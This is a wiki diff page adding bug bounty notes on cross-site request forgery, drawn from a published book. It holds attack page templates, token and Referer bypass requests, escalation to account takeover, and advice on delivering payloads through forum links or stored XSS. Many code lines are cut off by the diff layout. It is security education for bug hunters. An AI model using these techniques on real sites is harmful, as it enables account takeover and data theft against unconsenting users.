tbhm:08_csrf
Differences
This shows you the differences between two versions of the page.
| Both sides previous revisionPrevious revision | |||
| tbhm:08_csrf [2026/05/14 09:59] – integrate zseano methodology drew | tbhm:08_csrf [2026/05/14 10:50] (current) – merge bbc ch9 csrf techniques drew | ||
|---|---|---|---|
| Line 30: | Line 30: | ||
| * [[zseano: | * [[zseano: | ||
| + | |||
| + | |||
| + | ====== BBC Ch 9: Cross-Site Request Forgery ====== | ||
| + | |||
| + | //Merged from Bug Bounty Bootcamp Ch 9 by Vickie Li// | ||
| + | |||
| + | ===== How CSRF Works ===== | ||
| + | |||
| + | CSRF forces a victim' | ||
| + | |||
| + | CSRF attacks specifically target state-changing requests (not reads), because the attacker cannot read the server' | ||
| + | |||
| + | **Minimal CSRF attack page:** | ||
| + | |||
| + | <code html> | ||
| + | < | ||
| + | <form method=" | ||
| + | <input type=" | ||
| + | <input type=' | ||
| + | </ | ||
| + | < | ||
| + | </ | ||
| + | </ | ||
| + | |||
| + | The invisible iframe variant (no user click needed): | ||
| + | |||
| + | <code html> | ||
| + | < | ||
| + | <iframe style=" | ||
| + | <form method=" | ||
| + | target=" | ||
| + | <input type=" | ||
| + | <input type=' | ||
| + | </ | ||
| + | </ | ||
| + | < | ||
| + | </ | ||
| + | </ | ||
| + | |||
| + | Any victim who visits this page will have the action executed automatically. | ||
| + | |||
| + | ===== Prevention ===== | ||
| + | |||
| + | ==== CSRF Tokens ==== | ||
| + | |||
| + | The server generates a random unpredictable token and embeds it in every form: | ||
| + | |||
| + | <code html> | ||
| + | <form method=" | ||
| + | <input type=" | ||
| + | <input type=" | ||
| + | <input type=" | ||
| + | </ | ||
| + | </ | ||
| + | |||
| + | The server validates the token on every state-changing request. The token must be unique per session (or per form) and have sufficient entropy to prevent guessing. Frameworks often have CSRF token support built in. | ||
| + | |||
| + | ==== SameSite Cookies ==== | ||
| + | |||
| + | < | ||
| + | Set-Cookie: PHPSESSID=UEhQUOVTUOlE; | ||
| + | Set-Cookie: PHPSESSID=UEhQUOVTUOlE; | ||
| + | </ | ||
| + | |||
| + | * '' | ||
| + | * '' | ||
| + | |||
| + | Chrome made '' | ||
| + | * State-changing actions are performed via GET requests | ||
| + | * The site explicitly sets '' | ||
| + | * The victim uses Firefox, IE, or Safari (which do not default to Lax) | ||
| + | |||
| + | ===== Hunting for CSRFs ===== | ||
| + | |||
| + | Test with Firefox (not Chrome) when testing POST CSRF, since Chrome' | ||
| + | |||
| + | ==== Step 1: Spot State-Changing Actions ==== | ||
| + | |||
| + | Browse the application and record every endpoint that alters user data. For each, note: | ||
| + | * URL and HTTP method | ||
| + | * Request parameters | ||
| + | |||
| + | Example inventory for '' | ||
| + | * Change password: '' | ||
| + | * Send email: '' | ||
| + | * Delete email: '' | ||
| + | |||
| + | ==== Step 2: Look for CSRF Protections ==== | ||
| + | |||
| + | Intercept each state-changing request in Burp. Search the request for the string " | ||
| + | * POST body parameters | ||
| + | * HTTP request headers ('' | ||
| + | * Cookie values | ||
| + | * URL parameters | ||
| + | |||
| + | Even if a token is present, test bypass techniques -- many implementations are flawed. | ||
| + | |||
| + | ==== Step 3: Confirm the Vulnerability ==== | ||
| + | |||
| + | Craft a malicious HTML page and open it in a browser signed into the target site. Check whether the action was executed: | ||
| + | |||
| + | <code html> | ||
| + | < | ||
| + | <form method=" | ||
| + | <input type=" | ||
| + | <input type=" | ||
| + | </ | ||
| + | < | ||
| + | </ | ||
| + | </ | ||
| + | |||
| + | For GET-based state-changing actions, an img tag is enough: | ||
| + | |||
| + | <code html> | ||
| + | <img src=" | ||
| + | </ | ||
| + | |||
| + | ===== Bypassing CSRF Protection ===== | ||
| + | |||
| + | ==== Exploit Clickjacking ==== | ||
| + | |||
| + | If the endpoint has a CSRF token but the page is frameable (see Ch8), use clickjacking to trick the user into clicking the submit button on the framed page. The browser sends the legitimate CSRF token because it originates from the real page. | ||
| + | |||
| + | ==== Change the Request Method ==== | ||
| + | |||
| + | Try switching POST to GET. Some endpoints accept both but only validate CSRF tokens on POST: | ||
| + | |||
| + | < | ||
| + | GET / | ||
| + | Host: email.example.com | ||
| + | Cookie: session_cookie=YOUR_SESSION_COOKIE | ||
| + | </ | ||
| + | |||
| + | Trigger with an img tag -- the browser sends a GET request when loading the image source. | ||
| + | |||
| + | ==== Bypass Token Validation -- Delete or Blank the Token ==== | ||
| + | |||
| + | Some applications only validate the token if the parameter is present and non-empty. If the token is missing or blank, they skip validation: | ||
| + | |||
| + | Delete the parameter entirely: | ||
| + | < | ||
| + | POST / | ||
| + | (POST body) | ||
| + | new_password=abc123 | ||
| + | </ | ||
| + | |||
| + | Send a blank token: | ||
| + | < | ||
| + | POST / | ||
| + | (POST body) | ||
| + | new_password=abc123& | ||
| + | </ | ||
| + | |||
| + | ==== Bypass Token Validation -- Use Another Session' | ||
| + | |||
| + | Some apps verify only that the token is a valid token, not that it belongs to the current session. Obtain a valid token from your own session and substitute it in the forged request targeting another user: | ||
| + | |||
| + | < | ||
| + | POST / | ||
| + | (POST body) | ||
| + | new_password=abc123& | ||
| + | </ | ||
| + | |||
| + | ==== Bypass Double-Submit Cookies ==== | ||
| + | |||
| + | Some sites use a double-submit cookie: the '' | ||
| + | |||
| + | If you can plant a cookie in the victim' | ||
| + | |||
| + | < | ||
| + | POST / | ||
| + | Cookie: session_cookie=YOUR_SESSION_COOKIE; | ||
| + | (POST body) | ||
| + | new_password=abc123& | ||
| + | </ | ||
| + | |||
| + | ==== Bypass Referer Check -- Remove the Referer ==== | ||
| + | |||
| + | If the site validates the Referer header instead of CSRF tokens, add a meta tag to your attack page to suppress the Referer: | ||
| + | |||
| + | <code html> | ||
| + | < | ||
| + | <meta name=" | ||
| + | <form method=" | ||
| + | <input type=" | ||
| + | <input type=' | ||
| + | </ | ||
| + | < | ||
| + | </ | ||
| + | </ | ||
| + | |||
| + | If the app only validates the Referer when it is present, a missing Referer bypasses the check entirely. | ||
| + | |||
| + | ==== Bypass Referer Check -- Flawed Logic ==== | ||
| + | |||
| + | If the app checks that the Referer **contains** the victim domain name: | ||
| + | |||
| + | < | ||
| + | Referer: example.com.attacker.com | ||
| + | Referer: attacker.com/ | ||
| + | </ | ||
| + | |||
| + | ==== Bypass via XSS ==== | ||
| + | |||
| + | Any XSS on the target site defeats CSRF protection. XSS can read the CSRF token from the DOM via '' | ||
| + | |||
| + | ===== Escalating the Attack ===== | ||
| + | |||
| + | ==== Leak User Information ==== | ||
| + | |||
| + | CSRF on a billing email change endpoint lets the attacker redirect account summaries (containing address, phone number, credit card info) to their own inbox: | ||
| + | |||
| + | < | ||
| + | POST / | ||
| + | (POST body) | ||
| + | email=ATTACKER_EMAIL& | ||
| + | </ | ||
| + | |||
| + | Once the billing email is changed, trigger "send account summary" | ||
| + | |||
| + | ==== Create Stored Self-XSS via CSRF ==== | ||
| + | |||
| + | Self-XSS (only the user themselves can trigger it) becomes exploitable when combined with CSRF. If an account nickname field is vulnerable to self-XSS but the nickname endpoint lacks CSRF protection, an attacker can use CSRF to store an XSS payload in the victim' | ||
| + | |||
| + | < | ||
| + | POST / | ||
| + | (POST body) | ||
| + | account=0 | ||
| + | & | ||
| + | </ | ||
| + | |||
| + | (No csrf_token parameter -- token validation skipped when parameter is absent.) | ||
| + | |||
| + | ==== Account Takeover ==== | ||
| + | |||
| + | CSRF on a set-password endpoint for accounts created via social login (no existing password) allows the attacker to assign a password to any such account: | ||
| + | |||
| + | <code html> | ||
| + | < | ||
| + | <form method=" | ||
| + | <input type=" | ||
| + | <input type=" | ||
| + | <input type=' | ||
| + | </ | ||
| + | < | ||
| + | </ | ||
| + | </ | ||
| + | |||
| + | Post the link to this page on a forum frequented by the target site's users. Any social-login account that visits the link gets a new password set. | ||
| + | |||
| + | ===== Delivering the Payload ===== | ||
| + | |||
| + | * **External site link**: post a link to your malicious page on any forum or feed the target site's users visit | ||
| + | * **GET CSRF via img**: embed the request as an img src in a forum post -- fires on page load with no click | ||
| + | * **Via stored XSS**: inject the CSRF payload into a comment/ | ||
| + | |||
| + | <code javascript> | ||
| + | document.body.innerHTML += ' | ||
| + | <form method=" | ||
| + | <input type=" | ||
| + | <input type=" | ||
| + | </ | ||
| + | document.getElementById(" | ||
| + | </ | ||
| + | |||
| + | Burp Suite Pro and OWASP ZAP both have automatic CSRF POC generation features. | ||
| + | |||
| + | ===== 6-Step Checklist ===== | ||
| + | |||
| + | - Spot state-changing actions and list their endpoints, HTTP methods, and parameters. | ||
| + | - Check each for CSRF protection (search request for " | ||
| + | - If protection is present, try bypass techniques (clickjacking, | ||
| + | - Confirm by crafting a malicious HTML page and opening it in a browser signed into the target. | ||
| + | - Plan payload delivery: external link, img embed, or via stored XSS. | ||
| + | - Draft the report with a working PoC. | ||
tbhm/08_csrf.txt · Last modified: by drew
